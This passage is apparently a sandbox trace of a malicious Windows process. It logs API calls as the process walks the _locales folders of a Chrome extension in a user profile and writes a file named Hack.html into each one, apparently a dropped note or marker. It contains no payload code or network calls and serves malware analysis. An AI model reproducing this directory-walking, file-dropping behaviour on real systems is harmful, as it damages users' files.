lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\", lpFilePart=0x0) returned 0x8e [0074.344] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.345] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.345] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.345] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.345] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.345] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv", lpFilePart=0x0) returned 0x8d [0074.345] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\", lpFilePart=0x0) returned 0x8e [0074.345] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.345] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.345] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.345] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.346] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.346] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.346] GetFileType (hFile=0x174) returned 0x1 [0074.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.346] GetFileType (hFile=0x174) returned 0x1 [0074.347] WriteFile (in: hFile=0x174, lpBuffer=0x2773820*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2773820*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb", lpFilePart=0x0) returned 0x8d [0074.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\", lpFilePart=0x0) returned 0x8e [0074.348] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.349] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.349] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.349] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.349] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.350] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb", lpFilePart=0x0) returned 0x8d [0074.350] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\", lpFilePart=0x0) returned 0x8e [0074.350] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.350] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.350] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.350] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.350] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.351] GetFileType (hFile=0x174) returned 0x1 [0074.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.351] GetFileType (hFile=0x174) returned 0x1 [0074.351] WriteFile (in: hFile=0x174, lpBuffer=0x2778ed0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2778ed0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.353] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl", lpFilePart=0x0) returned 0x8d [0074.353] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\", lpFilePart=0x0) returned 0x8e [0074.353] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.353] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.353] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.353] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.353] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl", lpFilePart=0x0) returned 0x8d [0074.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\", lpFilePart=0x0) returned 0x8e [0074.354] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.354] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.354] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.354] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.354] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.355] GetFileType (hFile=0x174) returned 0x1 [0074.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.355] GetFileType (hFile=0x174) returned 0x1 [0074.355] WriteFile (in: hFile=0x174, lpBuffer=0x277e580*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x277e580*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.356] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl", lpFilePart=0x0) returned 0x8d [0074.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\", lpFilePart=0x0) returned 0x8e [0074.357] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.358] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.358] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.358] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.358] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl", lpFilePart=0x0) returned 0x8d [0074.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\", lpFilePart=0x0) returned 0x8e [0074.358] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.359] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.359] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.359] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.359] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.360] GetFileType (hFile=0x174) returned 0x1 [0074.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.360] GetFileType (hFile=0x174) returned 0x1 [0074.360] WriteFile (in: hFile=0x174, lpBuffer=0x2783c30*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2783c30*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x90 [0074.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\", lpFilePart=0x0) returned 0x91 [0074.361] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.362] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.362] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.362] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.362] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x90 [0074.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\", lpFilePart=0x0) returned 0x91 [0074.362] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.362] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.362] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.362] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 